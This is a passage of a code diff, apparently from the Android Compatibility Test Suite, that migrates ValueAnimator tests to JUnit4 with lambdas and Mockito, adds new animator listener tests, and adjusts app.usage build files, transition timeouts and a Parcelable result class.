-                currentPlayTime = delayedAnim.getCurrentPlayTime();
-                currentFraction = delayedAnim.getAnimatedFraction();
-                currentValue = (Float) delayedAnim.getAnimatedValue();
-                assertEquals(proposedCurrentPlayTime, currentPlayTime);
-                assertRoughlyEqual(.5f, currentFraction);
-                assertRoughlyEqual(50, currentValue);
-            }
+            delayedAnim.setCurrentPlayTime(mDuration / 2);
+            currentPlayTime = delayedAnim.getCurrentPlayTime();
+            currentFraction = delayedAnim.getAnimatedFraction();
+            currentValue = (Float) delayedAnim.getAnimatedValue();
+            assertEquals(proposedCurrentPlayTime, currentPlayTime);
+            assertEquals(.5f, currentFraction, EPSILON);
+            assertEquals(50, currentValue, EPSILON);
         });
         // Now make sure that it's still true a little later, to test that we're
         // getting a result based on the seek time, not the wall clock time
-        Thread.sleep(100);
+        SystemClock.sleep(100);
         long currentPlayTime = anim.getCurrentPlayTime();
         float currentFraction = anim.getAnimatedFraction();
         float currentValue = (Float) anim.getAnimatedValue();
         assertEquals(proposedCurrentPlayTime, currentPlayTime);
-        assertRoughlyEqual(.5f, currentFraction);
-        assertRoughlyEqual(50, currentValue);
+        assertEquals(.5f, currentFraction, EPSILON);
+        assertEquals(50, currentValue, EPSILON);
 
         currentPlayTime = delayedAnim.getCurrentPlayTime();
         currentFraction = delayedAnim.getAnimatedFraction();
         currentValue = (Float) delayedAnim.getAnimatedValue();
         assertEquals(proposedCurrentPlayTime, currentPlayTime);
-        assertRoughlyEqual(.5f, currentFraction);
-        assertRoughlyEqual(50, currentValue);
+        assertEquals(.5f, currentFraction, EPSILON);
+        assertEquals(50, currentValue, EPSILON);
 
         // Finally, start() the delayed animation and check that the play time was
         // not affected by playing during the delay
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                delayedAnim.start();
-                long currentPlayTime = delayedAnim.getCurrentPlayTime();
-                float currentFraction = delayedAnim.getAnimatedFraction();
-                float currentValue = (Float) delayedAnim.getAnimatedValue();
-                assertEquals(proposedCurrentPlayTime, currentPlayTime);
-                assertRoughlyEqual(.5f, currentFraction);
-                assertRoughlyEqual(50, currentValue);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            delayedAnim.start();
+            assertEquals(proposedCurrentPlayTime, delayedAnim.getCurrentPlayTime());
+            assertEquals(.5f, delayedAnim.getAnimatedFraction(), EPSILON);
+            assertEquals(50, (float) delayedAnim.getAnimatedValue(), EPSILON);
         });
 
-        Thread.sleep(100);
+        SystemClock.sleep(100);
         currentPlayTime = delayedAnim.getCurrentPlayTime();
         currentFraction = delayedAnim.getAnimatedFraction();
         currentValue = (Float) delayedAnim.getAnimatedValue();
-        assertEquals(proposedCurrentPlayTime, currentPlayTime);
-        assertRoughlyEqual(.5f, currentFraction);
-        assertRoughlyEqual(50, currentValue);
+        assertTrue(currentPlayTime > proposedCurrentPlayTime);
+        assertTrue(currentFraction > 0.5f);
+        assertTrue(currentValue > 50);
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                delayedAnim.cancel();
-            }
-        });
+        mActivityRule.runOnUiThread(delayedAnim::cancel);
     }
 
+    @Test
+    public void testPauseListener() throws Throwable {
+        // Adds two pause listeners to the animator, and remove one after the animator is paused.
+        Animator.AnimatorPauseListener l1 = mock(Animator.AnimatorPauseListener.class);
+        Animator.AnimatorPauseListener l2 = mock(Animator.AnimatorPauseListener.class);
+        ValueAnimator a1 = ValueAnimator.ofFloat(0, 1f);
+        a1.addPauseListener(l1);
+        a1.addPauseListener(l2);
+        mActivityRule.runOnUiThread(() -> {
+            a1.start();
+            a1.pause();
+            verify(l1, times(1)).onAnimationPause(a1);
+            verify(l2, times(1)).onAnimationPause(a1);
+            a1.removePauseListener(l2);
+            a1.resume();
+        });
+
+        // Check that the pause listener that is removed doesn't have resume called.
+        verify(l1, times(1)).onAnimationResume(a1);
+        verify(l2, times(0)).onAnimationResume(a1);
+    }
+
+    @Test
     public void testSetCurrentPlayTimeAfterStart() throws Throwable {
         // This test sets current play time right after start() is called on a non-delayed animation
         final long duration = 100;
         final float seekFraction = 0.2f;
         final CountDownLatch frameUpdateLatch = new CountDownLatch(1);
-        final CountDownLatch endLatch = new CountDownLatch(1);
 
+        final AnimatorSetTest.MyListener myListener = new AnimatorSetTest.MyListener();
         final ValueAnimator anim  = ValueAnimator.ofFloat(0, 1).setDuration(duration);
         anim.setInterpolator(null);
-        anim.addListener(new AnimatorListenerAdapter() {
-            @Override
-            public void onAnimationEnd(Animator animation) {
-                super.onAnimationEnd(animation);
-                endLatch.countDown();
-            }
-        });
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                anim.start();
-                anim.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {
-                    float fractionOnFirstFrame = -1f;
-                    @Override
-                    public void onAnimationUpdate(ValueAnimator animation) {
-                        if (fractionOnFirstFrame < 0) {
-                            // First frame:
-                            fractionOnFirstFrame = animation.getAnimatedFraction();
-                            assertRoughlyEqual(seekFraction, fractionOnFirstFrame);
-                            frameUpdateLatch.countDown();
-                        } else {
-                            assertTrue(animation.getAnimatedFraction() >= fractionOnFirstFrame);
-                        }
+        final Animator.AnimatorListener listener = mock(Animator.AnimatorListener.class);
+        anim.addListener(listener);
+        anim.addListener(myListener);
+        mActivityRule.runOnUiThread(() -> {
+            anim.start();
+            anim.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {
+                float fractionOnFirstFrame = -1f;
+
+                @Override
+                public void onAnimationUpdate(ValueAnimator animation) {
+                    if (fractionOnFirstFrame < 0) {
+                        // First frame:
+                        fractionOnFirstFrame = animation.getAnimatedFraction();
+                        assertEquals(seekFraction, fractionOnFirstFrame, EPSILON);
+                        frameUpdateLatch.countDown();
+                    } else {
+                        assertTrue(animation.getAnimatedFraction() >= fractionOnFirstFrame);
                     }
-                });
-                long currentPlayTime = (long) (seekFraction * (float) duration);
-                anim.setCurrentPlayTime(currentPlayTime);
-            }
+                }
+            });
+            long currentPlayTime = (long) (seekFraction * (float) duration);
+            anim.setCurrentPlayTime(currentPlayTime);
         });
         assertTrue(frameUpdateLatch.await(100, TimeUnit.MILLISECONDS));
-        assertTrue(endLatch.await(200, TimeUnit.MILLISECONDS));
+        verify(listener, within(200)).onAnimationEnd(anim, false);
+        // Also make sure the onAnimationEnd(anim) is called.
+        assertTrue(myListener.mEndIsCalled);
     }
 
+    @Test
     public void testSetCurrentFraction() throws Throwable {
         final ValueAnimator anim = ValueAnimator.ofFloat(0, 100).setDuration(mDuration);
         final long proposedCurrentPlayTime = mDuration / 2;
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                anim.setCurrentFraction(.5f);
-                long currentPlayTime = anim.getCurrentPlayTime();
-                float currentFraction = anim.getAnimatedFraction();
-                float currentValue = (Float) anim.getAnimatedValue();
-                assertEquals(proposedCurrentPlayTime, currentPlayTime);
-                assertRoughlyEqual(.5f, currentFraction);
-                assertRoughlyEqual(50, currentValue);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            anim.setCurrentFraction(.5f);
+            long currentPlayTime = anim.getCurrentPlayTime();
+            float currentFraction = anim.getAnimatedFraction();
+            float currentValue = (Float) anim.getAnimatedValue();
+            assertEquals(proposedCurrentPlayTime, currentPlayTime);
+            assertEquals(.5f, currentFraction, EPSILON);
+            assertEquals(50, currentValue, EPSILON);
         });
         // Now make sure that it's still true a little later, to test that we're
         // getting a result based on the seek time, not the wall clock time
-        Thread.sleep(100);
+        SystemClock.sleep(100);
         long currentPlayTime = anim.getCurrentPlayTime();
         float currentFraction = anim.getAnimatedFraction();
         float currentValue = (Float) anim.getAnimatedValue();
         assertEquals(proposedCurrentPlayTime, currentPlayTime);
-        assertRoughlyEqual(.5f, currentFraction);
-        assertRoughlyEqual(50, currentValue);
+        assertEquals(.5f, currentFraction, EPSILON);
+        assertEquals(50, currentValue, EPSILON);
     }
 
-    public void testReverseRightAfterStart() throws Throwable {
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                // Reverse() right after start() should trigger immediate end() at fraction 0.
-                final ValueAnimator anim = ValueAnimator.ofFloat(0, 100).setDuration(mDuration);
-                anim.start();
-                assertTrue(anim.isStarted());
-                anim.reverse();
-                assertFalse(anim.isStarted());
-                assertEquals(0f, anim.getAnimatedFraction());
-            }
-        });
+    @UiThreadTest
+    @Test
+    public void testReverseRightAfterStart() {
+        // Reverse() right after start() should trigger immediate end() at fraction 0.
+        final ValueAnimator anim = ValueAnimator.ofFloat(0, 100).setDuration(mDuration);
+        anim.start();
+        assertTrue(anim.isStarted());
+        anim.reverse();
+        assertFalse(anim.isStarted());
+        assertEquals(0f, anim.getAnimatedFraction(), 0.0f);
     }
 
+    @Test
     public void testGetFrameDelay() throws Throwable {
         final long frameDelay = 10;
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mValueAnimator.setFrameDelay(frameDelay);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mValueAnimator.setFrameDelay(frameDelay));
         startAnimation(mValueAnimator);
-        Thread.sleep(100);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                long actualFrameDelay = mValueAnimator.getFrameDelay();
-                assertEquals(frameDelay, actualFrameDelay);
-            }
+        SystemClock.sleep(100);
+        mActivityRule.runOnUiThread(() -> {
+            long actualFrameDelay = mValueAnimator.getFrameDelay();
+            assertEquals(frameDelay, actualFrameDelay);
         });
     }
 
+    @Test
+    public void testUpdateListeners() throws Throwable {
+        final AnimatorSetTest.MyListener myListener = new AnimatorSetTest.MyListener();
+        ValueAnimator.AnimatorUpdateListener l1 = mock(ValueAnimator.AnimatorUpdateListener.class);
+        ValueAnimator.AnimatorUpdateListener l2 = mock(ValueAnimator.AnimatorUpdateListener.class);
+        ValueAnimator.AnimatorUpdateListener l3 = mock(ValueAnimator.AnimatorUpdateListener.class);
+        ValueAnimator.AnimatorUpdateListener l4 = mock(ValueAnimator.AnimatorUpdateListener.class);
+
+        AnimatorListenerAdapter listener = mock(AnimatorListenerAdapter.class);
+
+        ValueAnimator a1 = ValueAnimator.ofFloat(0, 1f);
+        a1.setDuration(50);
+        a1.addUpdateListener(l1);
+        a1.addUpdateListener(l2);
+        a1.removeAllUpdateListeners();
+
+        a1.addUpdateListener(l3);
+        a1.addUpdateListener(l4);
+        a1.removeUpdateListener(l3);
+
+        a1.addListener(listener);
+        a1.addListener(myListener);
+
+        mActivityRule.runOnUiThread(() -> {
+            a1.start();
+        });
+
+        // Wait for the anim to finish.
+        verify(listener, within(200)).onAnimationEnd(a1, false);
+        // Also make sure the onAnimationEnd(anim) is called.
+        assertTrue(myListener.mEndIsCalled);
+
+        verify(l1, times(0)).onAnimationUpdate(a1);
+        verify(l2, times(0)).onAnimationUpdate(a1);
+        verify(l3, times(0)).onAnimationUpdate(a1);
+        verify(l4, atLeast(1)).onAnimationUpdate(a1);
+    }
+
+    @Test
+    public void testValuesSetterAndGetter() throws Throwable {
+
+        final AnimatorSetTest.MyListener myListener = new AnimatorSetTest.MyListener();
+        ValueAnimator a2 = ValueAnimator.ofPropertyValuesHolder();
+        PropertyValuesHolder p1 = PropertyValuesHolder.ofFloat("scaleX", 0f, 1f);
+        PropertyValuesHolder p2 = PropertyValuesHolder.ofFloat("scaleY", 1f, 2f);
+        a2.setValues(p1, p2);
+        PropertyValuesHolder[] holders = a2.getValues();
+        assertEquals(2, holders.length);
+
+        // Use the PropertyValueHolders returned from the getter to initialize the animator, in
+        // order to test the getter.
+        ValueAnimator a1 = ValueAnimator.ofPropertyValuesHolder(holders);
+        a1.setDuration(50);
+        a1.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {
+            @Override
+            public void onAnimationUpdate(ValueAnimator animation) {
+                float scaleX = (Float) animation.getAnimatedValue("scaleX");
+                float scaleY = (Float) animation.getAnimatedValue("scaleY");
+                assertTrue(scaleX >= 0f && scaleX <= 1f);
+                assertTrue(scaleY >= 1f && scaleY <= 2f);
+            }
+        });
+        AnimatorListenerAdapter l1 = mock(AnimatorListenerAdapter.class);
+        a1.addListener(l1);
+        a1.addListener(myListener);
+
+        mActivityRule.runOnUiThread(() -> {
+            a1.start();
+        });
+
+        verify(l1, within(200)).onAnimationEnd(a1, false);
+        // Also make sure the onAnimationEnd(anim) is called.
+        assertTrue(myListener.mEndIsCalled);
+    }
+
+    @Test
+    public void testSetObjectValues() throws Throwable {
+        TypeEvaluator<PointF> eval = new TypeEvaluator<PointF>() {
+            PointF tmpValue = new PointF();
+            @Override
+            public PointF evaluate(float fraction, PointF startValue, PointF endValue) {
+                tmpValue.x = fraction * startValue.x + (1f - fraction) * endValue.x;
+                tmpValue.y = fraction * startValue.y + (1f - fraction) * endValue.y;
+                return tmpValue;
+            }
+        };
+
+        final AnimatorSetTest.MyListener myListener = new AnimatorSetTest.MyListener();
+        ValueAnimator a1 = new ValueAnimator();
+        a1.setDuration(50);
+        a1.setObjectValues(new PointF(0, 0), new PointF(1, 1));
+        a1.setEvaluator(eval);
+        a1.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {
+            @Override
+            public void onAnimationUpdate(ValueAnimator animation) {
+                PointF point = (PointF) animation.getAnimatedValue();
+                assertTrue(point.x >= 0f && point.x <= 1f);
+                assertTrue(point.y >= 0f && point.y <= 1f);
+            }
+        });
+        AnimatorListenerAdapter l1 = mock(AnimatorListenerAdapter.class);
+        a1.addListener(l1);
+        a1.addListener(myListener);
+        mActivityRule.runOnUiThread(() -> {
+            a1.start();
+        });
+
+        verify(l1, within(200)).onAnimationEnd(a1, false);
+        // Also make sure the onAnimationEnd(anim) is called.
+        assertTrue(myListener.mEndIsCalled);
+    }
+
+    @Test
     public void testSetInterpolator() throws Throwable {
         AccelerateInterpolator interpolator = new AccelerateInterpolator();
         ValueAnimator mValueAnimator = mActivity.createAnimatorWithInterpolator(interpolator);
@@ -286,13 +452,15 @@
         assertTrue(interpolator.equals(mValueAnimator.getInterpolator()));
     }
 
+    @Test
     public void testCancel() throws Throwable {
         startAnimation(mValueAnimator);
-        Thread.sleep(100);
+        SystemClock.sleep(100);
         cancelAnimation(mValueAnimator);
         assertFalse(mValueAnimator.isRunning());
     }
 
+    @Test
     public void testEnd() throws Throwable {
         Object object = mActivity.view.newBall;
         String property = "y";
@@ -304,12 +472,13 @@
         objAnimator.setInterpolator(new AccelerateInterpolator());
         objAnimator.setRepeatMode(ValueAnimator.REVERSE);
         startAnimation(objAnimator);
-        Thread.sleep(100);
+        SystemClock.sleep(100);
         endAnimation(objAnimator);
         float y = mActivity.view.newBall.getY();
-        assertEquals(y, endY);
+        assertEquals(y, endY, 0.0f);
     }
 
+    @Test
     public void testGetAnimatedFraction() throws Throwable {
         ValueAnimator objAnimator = getAnimator();
         startAnimation(objAnimator);
@@ -322,6 +491,7 @@
         }
     }
 
+    @Test
     public void testGetAnimatedValue() throws Throwable {
         ValueAnimator objAnimator = getAnimator();
         startAnimation(objAnimator);
@@ -332,6 +502,8 @@
             assertTrue(errorMessage(animatedValues), animatedValues[j + 1] >= animatedValues[j]);
         }
     }
+
+    @Test
     public void testGetAnimatedValue_PropertyName() throws Throwable {
         String property = "y";
 
@@ -345,6 +517,7 @@
         }
     }
 
+    @Test
     public void testOfFloat() throws Throwable {
         float start = 0.0f;
         float end = 1.0f;
@@ -355,12 +528,8 @@
         valueAnimatorLocal.setInterpolator(new AccelerateInterpolator());
         valueAnimatorLocal.setRepeatMode(ValueAnimator.RESTART);
 
-        this.runTestOnUiThread(new Runnable(){
-            public void run() {
-                valueAnimatorLocal.start();
-            }
-        });
-        Thread.sleep(100);
+        mActivityRule.runOnUiThread(valueAnimatorLocal::start);
+        SystemClock.sleep(100);
         boolean isRunning = valueAnimatorLocal.isRunning();
         assertTrue(isRunning);
 
@@ -369,6 +538,7 @@
         assertTrue(animatedValue <= end);
     }
 
+    @Test
     public void testOfInt() throws Throwable {
         int start = 0;
         int end = 10;
@@ -379,12 +549,8 @@
         valueAnimatorLocal.setInterpolator(new AccelerateInterpolator());
         valueAnimatorLocal.setRepeatMode(ValueAnimator.RESTART);
 
-        this.runTestOnUiThread(new Runnable(){
-            public void run() {
-                valueAnimatorLocal.start();
-            }
-        });
-        Thread.sleep(100);
+        mActivityRule.runOnUiThread(valueAnimatorLocal::start);
+        SystemClock.sleep(100);
         boolean isRunning = valueAnimatorLocal.isRunning();
         assertTrue(isRunning);
 
@@ -393,28 +559,127 @@
         assertTrue(animatedValue <= end);
     }
 
+    @Test
+    public void testOfArgb() throws Throwable {
+        int start = 0xffff0000;
+        int end = 0xff0000ff;
+        int[] values = {start, end};
+        int startRed = Color.red(start);
+        int startBlue = Color.blue(start);
+        int endRed = Color.red(end);
+        int endBlue = Color.blue(end);
+        final ValueAnimator valueAnimatorLocal = ValueAnimator.ofArgb(values);
+        valueAnimatorLocal.setDuration(mDuration);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        valueAnimatorLocal.addUpdateListener((ValueAnimator animation) -> {
+            if (animation.getAnimatedFraction() > .05f) {
+                latch.countDown();
+            }
+        });
+
+        mActivityRule.runOnUiThread(valueAnimatorLocal::start);
+        boolean isRunning = valueAnimatorLocal.isRunning();
+        assertTrue(isRunning);
+
+        assertTrue(latch.await(500, TimeUnit.MILLISECONDS));
+
+        Integer animatedValue = (Integer) valueAnimatorLocal.getAnimatedValue();
+        int alpha = Color.alpha(animatedValue);
+        int red = Color.red(animatedValue);
+        int green = Color.green(animatedValue);
+        int blue = Color.blue(animatedValue);
+        assertTrue(red < startRed);
+        assertTrue(red > endRed);
+        assertTrue(blue > startBlue);
+        assertTrue(blue < endBlue);
+        assertEquals(255, alpha);
+        assertEquals(0, green);
+
+        mActivityRule.runOnUiThread(valueAnimatorLocal::cancel);
+    }
+
+    @Test
     public void testNoDelayOnSeekAnimation() throws Throwable {
         ValueAnimator animator = ValueAnimator.ofFloat(0, 1);
         animator.setInterpolator(new LinearInterpolator());
         animator.setStartDelay(1000);
         animator.setDuration(300);
         animator.setCurrentPlayTime(150);
-        EventWatcher watcher = new EventWatcher();
+        final Animator.AnimatorListener watcher = mock(Animator.AnimatorListener.class);
         animator.addListener(watcher);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                animator.start();
-            }
-        });
-        assertTrue(watcher.start.await(0, TimeUnit.MILLISECONDS));
+        mActivityRule.runOnUiThread(animator::start);
+        verify(watcher, times(1)).onAnimationStart(animator, false);
         assertTrue(((Float)animator.getAnimatedValue()) >= 0.5f);
         assertTrue(animator.getAnimatedFraction() >= 0.5f);
-        runTestOnUiThread(new Runnable() {
+        mActivityRule.runOnUiThread(animator::cancel);
+    }
+
+    @Test
+    public void testNotifiesAfterEnd() throws Throwable {
+        final ValueAnimator animator = ValueAnimator.ofFloat(0, 1);
+        animator.addListener(new AnimatorListenerAdapter() {
             @Override
-            public void run() {
-                animator.cancel();
+            public void onAnimationStart(Animator animation) {
+                assertTrue(animation.isStarted());
+                assertTrue(animation.isRunning());
             }
+
+            @Override
+            public void onAnimationEnd(Animator animation) {
+                assertFalse(animation.isRunning());
+                assertFalse(animation.isStarted());
+                super.onAnimationEnd(animation);
+            }
+        });
+        mActivityRule.runOnUiThread(() -> {
+            animator.start();
+            animator.end();
+        });
+    }
+
+    @Test
+    public void testAnimatorsEnabled() throws Throwable {
+        float currentDurationScale = ValueAnimator.getDurationScale();
+        try {
+            testAnimatorsEnabledImpl(true);
+            testAnimatorsEnabledImpl(false);
+        } finally {
+            // restore scale value to avoid messing up future tests
+            ValueAnimator.setDurationScale(currentDurationScale);
+        }
+    }
+
+    private void testAnimatorsEnabledImpl(boolean enabled) throws Throwable {
+        final CountDownLatch endLatch = new CountDownLatch(1);
+        final ValueAnimator animator = ValueAnimator.ofFloat(0, 1);
+        animator.setDuration(1000);
+        animator.addListener(new AnimatorListenerAdapter() {
+            @Override
+            public void onAnimationEnd(Animator animation) {
+                endLatch.countDown();
+            }
+        });
+        mActivityRule.runOnUiThread(() -> {
+            animator.start();
+        });
+
+        float durationScale = enabled ? 1 : 0;
+        ValueAnimator.setDurationScale(durationScale);
+
+        if (enabled) {
+            assertTrue("Animators not enabled with duration scale 1",
+                    ValueAnimator.areAnimatorsEnabled());
+            assertFalse("Animator ended too early when animators enabled = ",
+                    endLatch.await(50, TimeUnit.MILLISECONDS));
+        } else {
+            assertFalse("Animators enabled with duration scale 0",
+                    ValueAnimator.areAnimatorsEnabled());
+            assertTrue("Animator did not end when animators enabled = ",
+                    endLatch.await(50, TimeUnit.MILLISECONDS));
+        }
+        mActivityRule.runOnUiThread(() -> {
+            animator.end();
         });
     }
 
@@ -435,7 +700,7 @@
             long sleepTime, String property) throws InterruptedException {
         float[] values = new float[n];
         for(int i = 0; i < n; i++){
-            Thread.sleep(sleepTime);
+            SystemClock.sleep(sleepTime);
             float value = 0.0f;
             if(methodName.equals("getAnimatedFraction()")) {
                 value = animator.getAnimatedFraction();
@@ -450,27 +715,15 @@
     }
 
     private void startAnimation(final ValueAnimator animator) throws Throwable {
-        this.runTestOnUiThread(new Runnable() {
-            public void run() {
-                mActivity.startAnimation(animator);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mActivity.startAnimation(animator));
     }
 
     private void endAnimation(final ValueAnimator animator) throws Throwable {
-        this.runTestOnUiThread(new Runnable() {
-            public void run() {
-                animator.end();
-            }
-        });
+        mActivityRule.runOnUiThread(animator::end);
     }
 
     private void cancelAnimation(final ValueAnimator animator) throws Throwable {
-        this.runTestOnUiThread(new Runnable() {
-            public void run() {
-                animator.cancel();
-            }
-        });
+        mActivityRule.runOnUiThread(animator::cancel);
     }
 
     private String errorMessage(float[] values) {
@@ -480,27 +733,4 @@
         }
         return message.toString();
     }
-
-    class EventWatcher implements Animator.AnimatorListener {
-        public CountDownLatch start = new CountDownLatch(1);
-        public CountDownLatch end = new CountDownLatch(1);
-        public CountDownLatch cancel = new CountDownLatch(1);
-        public CountDownLatch repeat = new CountDownLatch(1);
-
-        public void onAnimationCancel(Animator animation) {
-            cancel.countDown();
-        }
-
-        public void onAnimationEnd(Animator animation) {
-            end.countDown();
-        }
-
-        public void onAnimationRepeat(Animator animation) {
-            repeat.countDown();
-        }
-
-        public void onAnimationStart(Animator animation) {
-            start.countDown();
-        }
-    }
 }
diff --git a/tests/tests/app.usage/Android.mk b/tests/tests/app.usage/Android.mk
index 5ebb4e8..f8bab5b 100644
--- a/tests/tests/app.usage/Android.mk
+++ b/tests/tests/app.usage/Android.mk
@@ -26,7 +26,11 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner junit legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    android-support-test \
+    junit \
+    legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/app.usage/AndroidTest.xml b/tests/tests/app.usage/AndroidTest.xml
index d4967f9..8868c17 100644
--- a/tests/tests/app.usage/AndroidTest.xml
+++ b/tests/tests/app.usage/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Configuration for app.usage Tests">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsUsageStatsTestCases.apk" />
     </target_preparer>
@@ -22,4 +23,4 @@
         <option name="package" value="android.app.usage.cts" />
         <option name="runtime-hint" value="1m47s" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/ActivityTransitionActivity.java b/tests/tests/app.usage/src/android/app/usage/cts/ActivityTransitionActivity.java
index 0e413c9..2396df3 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/ActivityTransitionActivity.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/ActivityTransitionActivity.java
@@ -20,6 +20,8 @@
 import android.app.SharedElementCallback;
 import android.content.Intent;
 import android.os.Bundle;
+import android.os.Parcel;
+import android.os.Parcelable;
 import android.os.ResultReceiver;
 import android.os.SystemClock;
 import android.transition.ChangeBounds;
@@ -27,7 +29,7 @@
 import android.transition.Fade;
 import android.transition.Transition;
 import android.transition.Transition.TransitionListener;
-import android.transition.Transition.TransitionListenerAdapter;
+import android.transition.TransitionListenerAdapter;
 import android.view.View;
 
 import java.util.List;
@@ -192,7 +194,9 @@
             @Override
             public void onTransitionEnd(Transition transition) {
                 mEntering = false;
-                setResult(RESULT_OK);
+                Intent intent = new Intent();
+                intent.putExtra("Extra", new ExtraData("result"));
+                setResult(RESULT_OK, intent);
                 getWindow().getDecorView().post(new Runnable() {
                     @Override
                     public void run() {
@@ -219,6 +223,17 @@
     }
 
     @Override
+    public void onActivityReenter(int resultCode, Intent data) {
+        if (resultCode == RESULT_OK) {
+            ExtraData extraData = data.getParcelableExtra("Extra");
+            if (!"result".equals(extraData.data)) {
+                throw new RuntimeException("Incorrect returned intent data in onActivityReenter");
+            }
+        }
+        super.onActivityReenter(resultCode, data);
+    }
+
+    @Override
     protected void onActivityResult(int requestCode, int resultCode, Intent data) {
         super.onActivityResult(requestCode, resultCode, data);
         this.resultCode = resultCode;
@@ -286,4 +301,41 @@
             return mVisibility != -1;
         }
     }
+
+    /**
+     * Used to test the class loader of the returned intent.
+     */
+    public static class ExtraData implements Parcelable {
+        public final String data;
+
+        public ExtraData(String data) {
+            this.data = data;
+        }
+
+        protected ExtraData(Parcel in) {
+            this.data = in.readString();
+        }
+
+        public static final Creator<ExtraData> CREATOR = new Creator<ExtraData>() {
+            @Override
+            public ExtraData createFromParcel(Parcel in) {
+                return new ExtraData(in);
+            }
+
+            @Override
+            public ExtraData[] newArray(int size) {
+                return new ExtraData[size];
+            }
+        };
+
+        @Override
+        public int describeContents() {
+            return 0;
+        }
+
+        @Override
+        public void writeToParcel(Parcel dest, int flags) {
+            dest.writeString(data);
+        }
+    }
 }
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/ActivityTransitionTest.java b/tests/tests/app.usage/src/android/app/usage/cts/ActivityTransitionTest.java
index 25d885a..fd8a230 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/ActivityTransitionTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/ActivityTransitionTest.java
@@ -98,8 +98,8 @@
         });
 
         assertTrue("Activity didn't finish!",
-                mActivity.returnLatch.await(1500, TimeUnit.MILLISECONDS));
-        assertTrue(mActivity.reenterLatch.await(300, TimeUnit.MILLISECONDS));
+                mActivity.returnLatch.await(3000, TimeUnit.MILLISECONDS));
+        assertTrue(mActivity.reenterLatch.await(1000, TimeUnit.MILLISECONDS));
         assertNotNull(mReceiver.resultData);
         assertEquals(2, mReceiver.resultData.getInt(
                 ActivityTransitionActivity.ARRIVE_COUNT, -1));
@@ -146,9 +146,9 @@
         CountDownLatch latch = setReenterLatch();
 
         assertTrue("Activity didn't finish!",
-                mActivity.returnLatch.await(2000, TimeUnit.MILLISECONDS));
+                mActivity.returnLatch.await(3000, TimeUnit.MILLISECONDS));
         assertTrue("Reenter transition didn't finish", latch.await(1000, TimeUnit.MILLISECONDS));
-        assertTrue(mActivity.reenterLatch.await(300, TimeUnit.MILLISECONDS));
+        assertTrue(mActivity.reenterLatch.await(1000, TimeUnit.MILLISECONDS));
         getInstrumentation().waitForIdleSync();
         checkNoReturnTransitionVisibility();
         runTestOnUiThread(new Runnable() {
@@ -180,8 +180,8 @@
         });
 
         assertTrue("Activity didn't finish!",
-                mActivity.returnLatch.await(1500, TimeUnit.MILLISECONDS));
-        assertTrue(mActivity.reenterLatch.await(300, TimeUnit.MILLISECONDS));
+                mActivity.returnLatch.await(3000, TimeUnit.MILLISECONDS));
+        assertTrue(mActivity.reenterLatch.await(1000, TimeUnit.MILLISECONDS));
         getInstrumentation().waitForIdleSync();
         checkNoReturnTransitionVisibility();
         runTestOnUiThread(new Runnable() {
@@ -214,9 +214,9 @@
         });
 
         assertTrue("Activity didn't finish!",
-                mActivity.returnLatch.await(1500, TimeUnit.MILLISECONDS));
+                mActivity.returnLatch.await(3000, TimeUnit.MILLISECONDS));
         assertTrue("Reenter transition didn't finish", latch.await(1000, TimeUnit.MILLISECONDS));
-        assertTrue(mActivity.reenterLatch.await(300, TimeUnit.MILLISECONDS));
+        assertTrue(mActivity.reenterLatch.await(1000, TimeUnit.MILLISECONDS));
         getInstrumentation().waitForIdleSync();
         checkNoReturnTransitionVisibility();
         runTestOnUiThread(new Runnable() {
@@ -249,8 +249,8 @@
         });
 
         assertTrue("Activity didn't finish!",
-                mActivity.returnLatch.await(1500, TimeUnit.MILLISECONDS));
-        assertTrue(mActivity.reenterLatch.await(300, TimeUnit.MILLISECONDS));
+                mActivity.returnLatch.await(3000, TimeUnit.MILLISECONDS));
+        assertTrue(mActivity.reenterLatch.await(1000, TimeUnit.MILLISECONDS));
         getInstrumentation().waitForIdleSync();
         checkNoReturnTransitionVisibility();
         runTestOnUiThread(new Runnable() {
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/NetworkUsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/NetworkUsageStatsTest.java
index 2c3c2ad..fcb1d5a 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/NetworkUsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/NetworkUsageStatsTest.java
@@ -65,6 +65,8 @@
     private interface NetworkInterfaceToTest {
         int getNetworkType();
         int getTransportType();
+        boolean getMetered();
+        void setMetered(boolean metered);
         String getSystemFeature();
         String getErrorMessage();
     }
@@ -72,6 +74,8 @@
